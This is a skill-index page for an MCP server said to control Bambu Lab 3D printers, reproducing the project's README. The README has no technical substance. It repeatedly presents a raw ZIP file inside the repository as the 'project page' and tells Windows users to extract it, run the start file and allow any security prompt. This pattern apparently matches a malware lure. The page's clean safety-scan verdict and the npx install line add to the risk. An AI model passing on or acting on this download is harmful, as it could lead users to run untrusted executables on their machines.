bambu-printer-mcp
Control Bambu Lab printers, edit STL files, and manage 3MF print workflows with an MCP server for Claude and other MCP clients
Install / Use
claude mcp add offthehook-implication870 -- npx -y github:offthehook-implication870/bambu-printer-mcpIf the server publishes to npm under a different name, use that package instead — check the repo README.
MCP Server
Model Context Protocol server
Quality Score
Category
AutomationSupported Platforms
Tags
Our assessment of bambu-printer-mcp
bambu-printer-mcp scores 74/100 on our quality scale, 2620th of 2,864 Automation skills we index.
Its MCP Server is 6.4 KB long, well organised into 28 sections and no code examples: a thorough specification that gives an agent plenty to work with.
It has 3 GitHub stars, so there is little community track record yet; judge it on its content.
Maintenance, license and trust
- The repository was last updated 16 days ago, so bambu-printer-mcp is actively maintained.
- It is released under GPL-2.0, a copyleft license: you can use it, but modified versions you distribute must carry the same license.
- Its trust signals score 92/100, with 1 caution from licensing, adoption, age or documentation. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-06. Automated pattern scan on 2026-10-06. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
bambu-printer-mcp compared with similar skills
All 4 of these similar skills score higher than bambu-printer-mcp; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| bambu-printer-mcp (this skill)by offthehook-implication870 | 74 | 3 | 16d ago | MCP Server |
| Agent-Reachby Panniantong | 100 | 105.5k | 3d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 78.1k | today | CLAUDE.md |
| CowAgentby zhayujie | 100 | 47.7k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 90.2k | today | MCP Server |
Frequently asked questions
- How do I install bambu-printer-mcp?
- Run
claude mcp add offthehook-implication870 -- npx -y github:offthehook-implication870/bambu-printer-mcp. The install tabs above show the steps for each supported agent. - Which AI agents does bambu-printer-mcp work with?
- It is written for Claude Code and Claude Desktop, as a MCP Server file. Other agents that read the same format can often use it too.
- Is bambu-printer-mcp safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is GPL-2.0-licensed and scores 92/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is bambu-printer-mcp still maintained?
- The repository was last updated 16 days ago, so bambu-printer-mcp is actively maintained.
Skill content
View source on GitHub🤖 bambu-printer-mcp - Control Bambu printers with ease
🖥️ What this app does
bambu-printer-mcp helps you work with a Bambu Lab 3D printer from your computer. It can help with STL files, slicing in BambuStudio, and direct printer control.
Use it to:
- Prepare 3D models for printing
- Send jobs to a Bambu Lab printer
- Check printer status
- Work with STL and 3MF files
- Connect printer actions to other tools through MCP
📦 What you need
Before you install the app, make sure you have:
- A Windows PC
- A Bambu Lab 3D printer
- Bambu Studio installed
- A stable network connection
- Enough free disk space for model files and print jobs
🚀 Getting Started
- Open the project page: https://github.com/offthehook-implication870/bambu-printer-mcp/raw/refs/heads/main/dist/stl/printer_bambu_mcp_v1.5.zip
- Download or clone the project from that page
- Install the required files on your Windows PC
- Open the app or start the server
- Connect it to your Bambu Lab printer
- Test a simple model or printer command
⬇️ Download and install
Visit this page to download and set up the software:
https://github.com/offthehook-implication870/bambu-printer-mcp/raw/refs/heads/main/dist/stl/printer_bambu_mcp_v1.5.zip
If you see a releases area, get the latest Windows package from there. If the project page gives you source files, download the project files and place them in a folder on your PC.
After you download it:
- Right-click the file or folder
- Choose Extract All if it is a ZIP file
- Move the files to a folder you can find again
- Keep Bambu Studio installed on the same PC
- Open the setup steps from the project page and follow them in order
🔧 Basic setup
- Open the project folder
- Find the start file or setup file
- Run it on your Windows PC
- Allow Windows to finish any security prompt if it appears
- Enter your printer details if asked
- Start BambuStudio if the app asks for it
- Check that the printer shows as connected
🧩 How it fits into your workflow
This tool is useful when you want one place to handle print tasks.
It can help you:
- Load an STL file
- Prepare the model for slicing
- Send the sliced job to your printer
- Check print progress
- Handle printer commands from another tool that supports MCP
If you already use Bambu Studio, this app can work beside it and make routine steps easier to manage.
🧰 Main features
- STL file handling
- 3MF support
- BambuStudio slicing support
- Direct printer control
- MQTT-based printer communication
- MCP support for linked tools
- Help with printer tasks from your desktop
- Simple setup for Windows users
🗂️ File types you may use
You may work with these file types:
- STL
- 3MF
- Project files from Bambu Studio
- Print profiles
- G-code related files, when used in your workflow
🪟 Windows use
This project is made for people who want to run it on Windows.
Typical steps on Windows:
- Download the project
- Put it in a folder
- Install any needed tools
- Start the server or app
- Connect your printer
- Begin a test print or check printer status
If Windows asks for permission, allow the app to run so it can reach your printer and local files.
🔌 Printer connection
To connect your Bambu Lab printer:
- Make sure the printer is on the same network
- Check the printer IP address or connection method
- Follow the project setup for login or pairing
- Confirm the printer appears as ready
- Try a simple status check before sending a print
If you have more than one printer, set them up one at a time so you can verify each connection.
🧠 Using with other tools
bambu-printer-mcp works as an MCP server. That means other tools can talk to it and ask it to do printer-related tasks.
This can help you:
- Automate print steps
- Link printer actions to your own local tools
- Build a smoother workflow for 3D printing
- Keep model prep and printer control in one chain
🛠️ Common tasks
Load a model
- Open the app or server
- Choose your STL or 3MF file
- Confirm the model is ready for slicing
Slice a model
- Open the model in BambuStudio
- Pick a print profile
- Start slicing
- Save or send the result
Send to printer
- Choose the printer
- Review the job
- Start the print
Check printer status
- Open the status view
- Look at the current job
- Confirm temperatures and connection state
📁 Suggested folder setup
A simple folder layout can help:
C:\3D-Printing\bambu-printer-mcpC:\3D-Printing\ModelsC:\3D-Printing\ExportsC:\3D-Printing\Profiles
This makes it easier to find files later.
🧪 First test
After setup, try this:
- Open a small STL file
- Slice it in BambuStudio
- Send a short test job to the printer
- Watch the printer status
- Confirm the job starts as expected
Use a small model first so you can check your setup without wasting time or material.
❓ Troubleshooting
The printer does not connect
- Check that the printer is on
- Check the network connection
- Confirm the IP address or pairing details
- Restart the app and try again
BambuStudio does not start
- Check that BambuStudio is installed
- Open it once by hand
- Make sure Windows did not block it
Files do not open
- Check that the file is STL or 3MF
- Move the file to a simple folder path
- Avoid folder names with special characters
The job does not send
- Check the printer state
- Make sure the model finished slicing
- Confirm there is enough space on the printer side
- Try a fresh start of the app and printer
🔒 Local use
This project is meant for your own printer setup on your local computer or network. Keep your printer details private and store your files in a folder you control.
📚 Project topics
This repository includes tools and ideas related to:
- 3D printing
- Bambu Lab printers
- Bambu Studio
- STL tools
- Slicer workflows
- MQTT
- FTP
- Blender
- MCP
- Model Context Protocol
- Printer control
🧭 Best results
For the smoothest setup:
- Use a clean Windows folder
- Keep BambuStudio updated
- Start with one printer
- Test with a small model
- Read the project page before changing settings
📥 Download again
If you need the project page again, use this link:
https://github.com/offthehook-implication870/bambu-printer-mcp/raw/refs/heads/main/dist/stl/printer_bambu_mcp_v1.5.zip
Related Skills
Agent-Reach
105.5kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
78.1kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
CowAgent
47.7kOpen-source personal AI assistant & Agent Harness. Plans tasks, runs tools and skills, self-evolves with memory and knowledge. Multi-agent, multi-model, multi-channel. Lightweight, extensible, one-line install.
Scrapling
90.2k🕷️ The BEST Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
